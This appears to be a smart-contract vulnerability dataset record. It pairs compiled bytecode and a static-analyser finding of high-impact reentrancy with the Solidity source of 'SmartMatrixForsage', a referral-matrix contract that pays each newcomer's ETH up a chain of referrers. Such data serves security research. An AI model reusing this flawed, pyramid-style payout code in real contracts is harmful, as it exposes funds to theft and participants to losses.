117e5611529565b905060006117f383836118ee565b30600090815260026020526040902054909150611810908261177c565b30600090815260026020526040902055505050565b600654611832908361173a565b600655600754611842908261177c565b6007555050565b6000808080611863606461185d89896118ee565b906114e7565b90506000611876606461185d8a896118ee565b9050600061188e826118888b8661173a565b9061173a565b9992985090965090945050505050565b60008080806118ad88866118ee565b905060006118bb88876118ee565b905060006118c988886118ee565b905060006118db82611888868661173a565b939b939a50919850919650505050505050565b6000826118fd57506000610681565b60006119098385611d41565b9050826119168583611d21565b1461130d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ed565b803561197881611dbe565b919050565b8035801515811461197857600080fd5b60006020828403121561199e578081fd5b813561130d81611dbe565b6000602082840312156119ba578081fd5b815161130d81611dbe565b600080604083850312156119d7578081fd5b82356119e281611dbe565b915060208301356119f281611dbe565b809150509250929050565b600080600060608486031215611a11578081fd5b8335611a1c81611dbe565b92506020840135611a2c81611dbe565b929592945050506040919091013590565b60008060408385031215611a4f578182fd5b8235611a5a81611dbe565b946020939093013593505050565b600080600060408486031215611a7c578283fd5b833567ffffffffffffffff80821115611a93578485fd5b818601915086601f830112611aa6578485fd5b813581811115611ab4578586fd5b8760208260051b8501011115611ac8578586fd5b602092830195509350611ade918601905061197d565b90509250925092565b60006020808385031215611af9578182fd5b823567ffffffffffffffff80821115611b10578384fd5b818501915085601f830112611b23578384fd5b813581811115611b3557611b35611da8565b8060051b604051601f19603f83011681018181108582111715611b5a57611b5a611da8565b604052828152858101935084860182860187018a1015611b78578788fd5b8795505b83861015611ba157611b8d8161196d565b855260019590950194938601938601611b7c565b5098975050505050505050565b600060208284031215611bbf578081fd5b61130d8261197d565b600060208284031215611bd9578081fd5b5035919050565b60008060008060808587031215611bf5578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3d57858101830151858201604001528201611c21565b81811115611c4e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce85784516001600160a01b031683529383019391830191600101611cc3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1c57611d1c611d92565b500190565b600082611d3c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5b57611d5b611d92565b500290565b600082821015611d7257611d72611d92565b500390565b6000600019821415611d8b57611d8b611d92565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cb57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b7d28161fc64c6908a10a2b940b5e3af9504709406a70e675a550f674e1accfe64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,302
0x9a4a8b89dd5b0dca28a13d6f0aa46bc62c5babfa
/** *Submitted for verification at Etherscan.io on 2020-01-31 */ /** * * ,d8888b * 88P' *d888888P * ?88' d8888b 88bd88b .d888b, d888b8b d888b8b d8888b * 88P d8P' ?88 88P' ` ?8b, d8P' ?88 d8P' ?88 d8b_,dP * d88 88b d88 d88 `?8b 88b ,88b 88b ,88b 88b *d88' `?8888P'd88' `?888P' `?88P'`88b`?88P'`88b`?888P' * )88 * ,88P * `?8888P * * * SmartWay Forsage * https://forsage.smartway.run * (only for SmartWay.run members) * **/ pragma solidity >=0.4.23 <0.6.0; contract SmartMatrixForsage { struct User { uint id; address referrer; //推荐人 uint partnersCount; //合作伙伴数量 mapping(uint8 => bool) activeX3Levels; //X3等级 mapping(uint8 => bool) activeX6Levels; //X6等级 mapping(uint8 => X3) x3Matrix; //X3矩阵--等级1-12 mapping(uint8 => X6) x6Matrix; //X6矩阵--等级1-12 } struct X3 { address currentReferrer; //当前推荐人 address[] referrals; //下线 bool blocked; //冻结 uint reinvestCount; //复投次数 } struct X6 { address currentReferrer; //当前推荐人 address[] firstLevelReferrals; //第一等级下线 address[] secondLevelReferrals; //第二等级下线 bool blocked;//冻结 uint reinvestCount; //复投次数 address closedPart; //TODO 封闭角色? } uint8 public constant LAST_LEVEL = 12; //最大等级 mapping(address => User) public users; //用户 mapping(uint => address) public idToAddress; //id -》地址 mapping(uint => address) public userIds; //TODO 区别 mapping(address => uint) public balances; //地址的余额 uint public lastUserId = 2; //起始id address public owner; //合约所有人 mapping(uint8 => uint) public levelPrice; //等级价格 event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId); event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level); event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level); event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place, uint256 reinvestCount); event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level); event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level); constructor(address ownerAddress) public { levelPrice[1] = 0.001 ether; for (uint8 i = 2; i <= LAST_LEVEL; i++) { levelPrice[i] = levelPrice[i-1] * 2; //0.001 0.01 0.02 0.04 0.08 0.16 0.32 0.64 1.28 2.56 5.12 10.24 } owner = ownerAddress; //合约所有人 User memory user = User({ id: 1, referrer: address(0), partnersCount: uint(0) }); users[ownerAddress] = user; idToAddress[1] = ownerAddress; //合约第一人 for (uint8 j = 1; j <= LAST_LEVEL; j++) { users[ownerAddress].activeX3Levels[j] = true; users[ownerAddress].activeX6Levels[j] = true; } userIds[1] = ownerAddress; //TODO 和 IdToAddress 有什么区别 } function() external payable { if(msg.data.length == 0) { return registration(msg.sender, owner); } registration(msg.sender, bytesToAddress(msg.data)); } function registrationExt(address referrerAddress) external payable { registration(msg.sender, referrerAddress); } function buyNewLevel(uint8 matrix, uint8 level) external payable { require(isUserExists(msg.sender), "user is not exists. Register first."); require(matrix == 1 || matrix == 2, "invalid matrix"); require(msg.value == levelPrice[level], "invalid price"); require(level > 1 && level <= LAST_LEVEL, "invalid level"); if (matrix == 1) { require(!users[msg.sender].activeX3Levels[level], "level already activated"); if (users[msg.sender].x3Matrix[level-1].blocked) { users[msg.sender].x3Matrix[level-1].blocked = false; } //关闭冻结,购买了下个等级 address freeX3Referrer = findFreeX3Referrer(msg.sender, level); //找到上个推荐人的等级 users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer; //X3当前等级的推荐人 users[msg.sender].activeX3Levels[level] = true; //激活对应等级 updateX3Referrer(msg.sender, freeX3Referrer, level); emit Upgrade(msg.sender, freeX3Referrer, 1, level); } else { require(!users[msg.sender].activeX6Levels[level], "level already activated"); if (users[msg.sender].x6Matrix[level-1].blocked) { users[msg.sender].x6Matrix[level-1].blocked = false; } address freeX6Referrer = findFreeX6Referrer(msg.sender, level); users[msg.sender].activeX6Levels[level] = true; updateX6Referrer(msg.sender, freeX6Referrer, level); emit Upgrade(msg.sender, freeX6Referrer, 2, level); } } function registration(address userAddress, address referrerAddress) private { require(msg.value == 0.002 ether, "registration cost 0.002"); require(!isUserExists(userAddress), "user exists"); require(isUserExists(referrerAddress), "referrer not exists"); uint32 size; assembly { size := extcodesize(userAddress) } require(size == 0, "cannot be a contract"); User memory user = User({ id: lastUserId, referrer: referrerAddress, partnersCount: 0 }); users[userAddress] = user; idToAddress[lastUserId] = userAddress; users[userAddress].referrer = referrerAddress; users[userAddress].activeX3Levels[1] = true; users[userAddress].activeX6Levels[1] = true; userIds[lastUserId] = userAddress; lastUserId++; users[referrerAddress].partnersCount++; address freeX3Referrer = findFreeX3Referrer(userAddress, 1); //找到上线X3的1层推荐人 users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer; //保存X3现在1层的推荐人 updateX3Referrer(userAddress, freeX3Referrer, 1); updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1); emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id); } //更新X3推荐人---买等级 function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private { users[referrerAddress].x3Matrix[level].referrals.push(userAddress); //推荐人的X3对应的等级的下线 if (users[referrerAddress].x3Matrix[level].referrals.length < 3) { emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length), uint256(users[referrerAddress].x3Matrix[level].reinvestCount)); return sendETHDividends(referrerAddress, userAddress, 1, level); //发送以太坊分红 } //下线小于3个人 emit NewUserPlace(userAddress, referrerAddress, 1, level, 3, uint256(users[referrerAddress].x3Matrix[level].reinvestCount)); //close matrix users[referrerAddress].x3Matrix[level].referrals = new address[](0); //下线等于三个人,重新清空地址 if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x3Matrix[level].blocked = true; } //TODO 冻结 超过三个,但是没有启动下个等级 //create new one by recursion if (referrerAddress != owner) { //推荐人不是合约所有人 //check referrer active level address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level); //超过3人数,送给上线推荐人 if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) { users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress; } //TODO 替换推荐人? users[referrerAddress].x3Matrix[level].reinvestCount++; //开启新的一轮 emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level); updateX3Referrer(referrerAddress, freeReferrerAddress, level); } else { //推荐人是合约所有人 sendETHDividends(owner, userAddress, 1, level); users[owner].x3Matrix[level].reinvestCount++; emit Reinvest(owner, address(0), userAddress, 1, level); } } function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private { require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive"); if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) { users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length), uint256(users[referrerAddress].x6Matrix[level].reinvestCount)); //set current level users[userAddress].x6Matrix[level].currentReferrer = referrerAddress; if (referrerAddress == owner) { return sendETHDividends(referrerAddress, userAddress, 2, level); } address ref = users[referrerAddress].x6Matrix[level].currentReferrer; users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress); uint len = users[ref].x6Matrix[level].firstLevelReferrals.length; if ((len == 2) && (users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) && (users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5, uint256(users[referrerAddress].x6Matrix[level].reinvestCount)); } else { emit NewUserPlace(userAddress, ref, 2, level, 6, uint256(users[referrerAddress].x6Matrix[level].reinvestCount)); } } else if ((len == 1 || len == 2) && users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 3, uint256(users[referrerAddress].x6Matrix[level].reinvestCount)); } else { emit NewUserPlace(userAddress, ref, 2, level, 4, uint256(users[referrerAddress].x6Matrix[level].reinvestCount)); } } else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5, uint256(users[referrerAddress].x6Matrix[level].reinvestCount)); } else { emit NewUserPlace(userAddress, ref, 2, level, 6, uint256(users[referrerAddress].x6Matrix[level].reinvestCount)); } } return updateX6ReferrerSecondLevel(userAddress, ref, level); } users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress); if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) { if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) && (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].closedPart)) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].closedPart) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else { updateX6(userAddress, referrerAddress, level, false); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } } if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) { updateX6(userAddress, referrerAddress, level, false); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <= users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) { updateX6(userAddress, referrerAddress, level, false); } else { updateX6(userAddress, referrerAddress, level, true); } updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private { if (!x2) { users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length), uint256(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].reinvestCount)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length), uint256(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].reinvestCount)); //set current level users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]; } else { users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length), uint256(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].reinvestCount)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length), uint256(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].reinvestCount)); //set current level users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]; } } function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private { if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) { return sendETHDividends(referrerAddress, userAddress, 2, level); } address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals; if (x6.length == 2) { if (x6[0] == referrerAddress || x6[1] == referrerAddress) { users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress; } else if (x6.length == 1) { if (x6[0] == referrerAddress) { users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress; } } } users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0); users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0); users[referrerAddress].x6Matrix[level].closedPart = address(0); if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x6Matrix[level].blocked = true; } users[referrerAddress].x6Matrix[level].reinvestCount++; if (referrerAddress != owner) { address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level); emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level); updateX6Referrer(referrerAddress, freeReferrerAddress, level); } else { emit Reinvest(owner, address(0), userAddress, 2, level); sendETHDividends(owner, userAddress, 2, level); } } //推荐人的等级 function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) { while (true) { if (users[users[userAddress].referrer].activeX3Levels[level]) { return users[userAddress].referrer; } //X3推荐人的等级是否存在 userAddress = users[userAddress].referrer; //往推荐人的推荐人找---找到对应等级的推荐人 } } //推荐人的等级 function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) { while (true) { if (users[users[userAddress].referrer].activeX6Levels[level]) { return users[userAddress].referrer; } userAddress = users[userAddress].referrer; //往推荐人的推荐人找---找到对应等级的推荐人 } } //用户等级是否存在 function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) { return users[userAddress].activeX3Levels[level]; } //用户等级是否存在 function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) { return users[userAddress].activeX6Levels[level]; } //对应等级的推荐人、下线、冻结状态 function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) { return (users[userAddress].x3Matrix[level].currentReferrer, users[userAddress].x3Matrix[level].referrals, users[userAddress].x3Matrix[level].blocked); } //对应等级的推荐人、下线、冻结状态、闭环 function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) { return (users[userAddress].x6Matrix[level].currentReferrer, users[userAddress].x6Matrix[level].firstLevelReferrals, users[userAddress].x6Matrix[level].secondLevelReferrals, users[userAddress].x6Matrix[level].blocked, users[userAddress].x6Matrix[level].closedPart); } function isUserExists(address user) public view returns (bool) { return (users[user].id != 0); } function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) { address receiver = userAddress; bool isExtraDividends; if (matrix == 1) { while (true) { if (users[receiver].x3Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 1, level); isExtraDividends = true; receiver = users[receiver].x3Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } else { while (true) { if (users[receiver].x6Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 2, level); isExtraDividends = true; receiver = users[receiver].x6Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } } //转账 function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private { (address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level); if (!address(uint160(receiver)).send(levelPrice[level])) { return address(uint160(receiver)).transfer(address(this).balance); } if (isExtraDividends) { emit SentExtraEthDividends(_from, receiver, matrix, level); } } function bytesToAddress(bytes memory bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } }
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166307279e2a811461015857806327e235e31461019357806329c70400146101c65780632a2d0c47146101f1578063348d4487146102255780634635fd681461023a578063509222cd14610252578063797eee241461027357806383ba31b2146102875780638da5cb5b1461031b5780639cc102fc14610330578063a87430ba14610414578063b2f7543a1461045b578063be389d5714610482578063e06e8dbd14610496578063ecabdf79146104bd578063fa45323d146104d8575b3615156101135760055461010e903390600160a060020a03166104ff565b610156565b610156336101516000368080601f01602080910402602001604051908101604052809392919081815260200183838082843750610831945050505050565b6104ff565b005b34801561016457600080fd5b5061017f600160a060020a036004351660ff60243516610838565b604080519115158252519081900360200190f35b34801561019f57600080fd5b506101b4600160a060020a036004351661086c565b60408051918252519081900360200190f35b3480156101d257600080fd5b506101db61087e565b6040805160ff9092168252519081900360200190f35b3480156101fd57600080fd5b50610209600435610883565b60408051600160a060020a039092168252519081900360200190f35b34801561023157600080fd5b506101b461089e565b34801561024657600080fd5b506102096004356108a4565b34801561025e57600080fd5b5061017f600160a060020a03600435166108bf565b610156600160a060020a03600435166108dc565b34801561029357600080fd5b506102ae600160a060020a036004351660ff602435166108e9565b60408051600160a060020a0385168152821515918101919091526060602080830182815285519284019290925284516080840191868101910280838360005b838110156103055781810151838201526020016102ed565b5050505090500194505050505060405180910390f35b34801561032757600080fd5b50610209610996565b34801561033c57600080fd5b50610357600160a060020a036004351660ff602435166109a5565b60408051600160a060020a03808816825284151560608301528316608082015260a060208083018281528851928401929092528751929391929184019160c0850191898101910280838360005b838110156103bc5781810151838201526020016103a4565b50505050905001838103825286818151815260200191508051906020019060200280838360005b838110156103fb5781810151838201526020016103e3565b5050505090500197505050505050505060405180910390f35b34801561042057600080fd5b50610435600160a060020a0360043516610ac4565b60408051938452600160a060020a03909216602084015282820152519081900360600190f35b34801561046757600080fd5b5061017f600160a060020a036004351660ff60243516610aee565b61015660ff60043581169060243516610b1d565b3480156104a257600080fd5b50610209600160a060020a036004351660ff60243516610fe6565b3480156104c957600080fd5b506101b460ff60043516611072565b3480156104e457600080fd5b50610209600160a060020a036004351660ff60243516611084565b6000610509612e4e565b600066071afd498d00003414610569576040805160e560020a62461bcd02815260206004820152601760248201527f726567697374726174696f6e20636f737420302e303032000000000000000000604482015290519081900360640190fd5b610572856108bf565b156105c7576040805160e560020a62461bcd02815260206004820152600b60248201527f7573657220657869737473000000000000000000000000000000000000000000604482015290519081900360640190fd5b6105d0846108bf565b1515610626576040805160e560020a62461bcd02815260206004820152601360248201527f7265666572726572206e6f742065786973747300000000000000000000000000604482015290519081900360640190fd5b843b925063ffffffff831615610686576040805160e560020a62461bcd02815260206004820152601460248201527f63616e6e6f74206265206120636f6e7472616374000000000000000000000000604482015290519081900360640190fd5b60408051606081018252600480548252600160a060020a03808816602080850182815260008688018181528d86168083528285528983208951815593516001808601805492909916600160a060020a03199283161789559251600280870191909155895485528387528b852080548316841790558854821688179098558284526003850186528a8420805460ff19908116851790915583855294890186528a842080549095168317909455875483528685528983208054909416179092558554820190955591845283905293909120018054830190559250610769908690611084565b600160a060020a03868116600090815260208181526040808320600180855260059091019092529091208054600160a060020a031916928416929092179091559091506107b99086908390611110565b6107cf856107c8876001610fe6565b60016114ad565b600160a060020a03808616600081815260208181526040808320549489168084529281902054815190815290519293927f309bb360e8b69c23937ccc5fb01f9aeeead1c95a99604e175113ff82f2b1723a929181900390910190a45050505050565b6014015190565b600160a060020a03821660009081526020818152604080832060ff8086168552600390910190925290912054165b92915050565b60036020526000908152604090205481565b600c81565b600160205260009081526040902054600160a060020a031681565b60045481565b600260205260009081526040902054600160a060020a031681565b600160a060020a0316600090815260208190526040902054151590565b6108e633826104ff565b50565b600160a060020a0382811660009081526020818152604080832060ff868116855260059091018352818420805460028201546001909201805485518188028101880190965280865296976060978997939091169591949390931692909184919083018282801561098257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610964575b505050505091509250925092509250925092565b600554600160a060020a031681565b600160a060020a0382811660009081526020818152604080832060ff8681168552600690910183528184208054600382015460058301546001840180548751818a0281018a0190985280885298996060998a998c998a99978416989497600290950196909416949092169291869190830182828015610a4d57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610a2f575b5050505050935082805480602002602001604051908101604052809291908181526020018280548015610aa957602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610a8b575b50505050509250945094509450945094509295509295909350565b6000602081905290815260409020805460018201546002909201549091600160a060020a03169083565b600160a060020a039190911660009081526020818152604080832060ff94851684526004019091529020541690565b600080610b29336108bf565b1515610ba5576040805160e560020a62461bcd02815260206004820152602360248201527f75736572206973206e6f74206578697374732e2052656769737465722066697260448201527f73742e0000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8360ff1660011480610bba57508360ff166002145b1515610c10576040805160e560020a62461bcd02815260206004820152600e60248201527f696e76616c6964206d6174726978000000000000000000000000000000000000604482015290519081900360640190fd5b60ff83166000908152600660205260409020543414610c79576040805160e560020a62461bcd02815260206004820152600d60248201527f696e76616c696420707269636500000000000000000000000000000000000000604482015290519081900360640190fd5b60018360ff16118015610c905750600c60ff841611155b1515610ce6576040805160e560020a62461bcd02815260206004820152600d60248201527f696e76616c6964206c6576656c00000000000000000000000000000000000000604482015290519081900360640190fd5b8360ff1660011415610e7c573360009081526020818152604080832060ff80881685526003909101909252909120541615610d6b576040805160e560020a62461bcd02815260206004820152601760248201527f6c6576656c20616c726561647920616374697661746564000000000000000000604482015290519081900360640190fd5b3360009081526020818152604080832060ff6000198801811685526005909101909252909120600201541615610dc9573360009081526020818152604080832060ff60001988011684526005019091529020600201805460ff191690555b610dd33384611084565b3360008181526020818152604080832060ff891684526005810183528184208054600160a060020a031916600160a060020a0388161790556003019091529020805460ff19166001179055909250610e2c908385611110565b604080516001815260ff851660208201528151600160a060020a0385169233927f18a92df19fd94d6cfff209966673a5ca05a1c8e2bb68e097fce2bdc2ed811119929081900390910190a3610fe0565b3360009081526020818152604080832060ff80881685526004909101909252909120541615610ef5576040805160e560020a62461bcd02815260206004820152601760248201527f6c6576656c20616c726561647920616374697661746564000000000000000000604482015290519081900360640190fd5b3360009081526020818152604080832060ff6000198801811685526006909101909252909120600301541615610f53573360009081526020818152604080832060ff60001988011684526006019091529020600301805460ff191690555b610f5d3384610fe6565b3360008181526020818152604080832060ff891684526004019091529020805460ff19166001179055909150610f949082856114ad565b604080516002815260ff851660208201528151600160a060020a0384169233927f18a92df19fd94d6cfff209966673a5ca05a1c8e2bb68e097fce2bdc2ed811119929081900390910190a35b50505050565b60005b600160a060020a0380841660009081526020818152604080832060010154909316825282822060ff8087168452600490910190915291902054161561104c5750600160a060020a0380831660009081526020819052604090206001015416610866565b600160a060020a0392831660009081526020819052604090206001015490921691610fe9565b60066020526000908152604090205481565b60005b600160a060020a0380841660009081526020818152604080832060010154909316825282822060ff808716845260039091019091529190205416156110ea5750600160a060020a0380831660009081526020819052604090206001015416610866565b600160a060020a0392831660009081526020819052604090206001015490921691611087565b600160a060020a0382811660009081526020818152604080832060ff861680855260059091018352908320600190810180549182018155808552928420018054600160a060020a031916948816949094179093559181529054600311156111f557600160a060020a0383811660008181526020818152604080832060ff8881168086526005909201845293829020600180820154600390920154845191825294810192909252909316838201526060830191909152519192871691600080516020612f068339815191529181900360800190a36111f08385600185612046565b610fe0565b600160a060020a0380841660008181526020818152604080832060ff881680855260059091018352928190206003908101548251600181529384019490945282820152606082019290925290519192871691600080516020612f068339815191529181900360800190a36040805160008082526020808301808552600160a060020a038816835282825284832060ff8816845260050190915292902090516112a39260019092019190612e79565b50600160a060020a03831660009081526020818152604080832060ff6001870181168552600390910190925290912054161580156112e5575060ff8216600c14155b1561132057600160a060020a03831660009081526020818152604080832060ff861684526005019091529020600201805460ff191660011790555b600554600160a060020a038481169116146114235761133f8383611084565b600160a060020a0384811660009081526020818152604080832060ff881684526005019091529020549192508281169116146113b357600160a060020a0383811660009081526020818152604080832060ff8716845260050190915290208054600160a060020a0319169183169190911790555b600160a060020a0380841660008181526020818152604080832060ff881680855260059091018352928190206003018054600190810190915581519081529182019290925281518885169486169392600080516020612f26833981519152928290030190a46111f0838284611110565b60055461143c90600160a060020a031685600185612046565b60058054600160a060020a0390811660009081526020818152604080832060ff8816808552908601835281842060030180546001908101909155955482519687529286015280518985169593949290921692600080516020612f26833981519152929081900390910190a450505050565b600160a060020a03821660009081526020818152604080832060ff808616855260049091019092528220548291161515611531576040805160e560020a62461bcd02815260206004820152601f60248201527f3530302e205265666572726572206c6576656c20697320696e61637469766500604482015290519081900360640190fd5b600160a060020a03841660009081526020818152604080832060ff8716845260060190915290206001015460021115611c825760008085600160a060020a0316600160a060020a0316815260200190815260200160002060060160008460ff1660ff1681526020019081526020016000206001018590806001815401808255809150509060018203906000526020600020016000909192909190916101000a815481600160a060020a030219169083600160a060020a031602179055505083600160a060020a031685600160a060020a0316600080516020612f068339815191526002866000808a600160a060020a0316600160a060020a0316815260200190815260200160002060060160008960ff1660ff168152602001908152602001600020600101805490506000808b600160a060020a0316600160a060020a0316815260200190815260200160002060060160008a60ff1660ff16815260200190815260200160002060040154604051808560ff1681526020018460ff1660ff1681526020018360ff1660ff16815260200182815260200194505050505060405180910390a3600160a060020a0385811660009081526020818152604080832060ff8816845260060190915290208054600160a060020a03191686831690811790915560055490911614156117305761172b8486600286612046565b61203f565b5050600160a060020a0382811660009081526020818152604080832060ff861680855260069182018452828520548616808652858552838620828752909201845291842060028082018054600180820183559188529587209095018054600160a060020a031916978b16979097179096559190935201549091811480156118055750600160a060020a0382811660009081526020818152604080832060ff88168452600601909152812060010180549287169290919081106117ee57fe5b600091825260209091200154600160a060020a0316145b80156118615750600160a060020a0382811660009081526020818152604080832060ff8816845260060190915290206001908101805492871692909190811061184a57fe5b600091825260209091200154600160a060020a0316145b1561197c57600160a060020a03841660009081526020818152604080832060ff871684526006019091529020600190810154141561190b57600160a060020a0384811660009081526020818152604080832060ff8816808552600690910183529281902060040154815160028152928301939093526005828201526060820192909252905182851692881691600080516020612f06833981519152919081900360800190a3611977565b600160a060020a0384811660009081526020818152604080832060ff881680855260069182018452938290206004015482516002815293840194909452828201526060820192909252905182851692881691600080516020612f06833981519152919081900360800190a35b611c77565b806001148061198b5750806002145b80156119e55750600160a060020a0382811660009081526020818152604080832060ff88168452600601909152812060010180549287169290919081106119ce57fe5b600091825260209091200154600160a060020a0316145b15611b0157600160a060020a03841660009081526020818152604080832060ff8716845260060190915290206001908101541415611a8f57600160a060020a0384811660009081526020818152604080832060ff8816808552600690910183529281902060040154815160028152928301939093526003828201526060820192909252905182851692881691600080516020612f06833981519152919081900360800190a3611977565b600160a060020a0384811660009081526020818152604080832060ff8816808552600690910183529281902060049081015482516002815293840194909452828201526060820192909252905182851692881691600080516020612f06833981519152919081900360800190a3611c77565b806002148015611b615750600160a060020a0382811660009081526020818152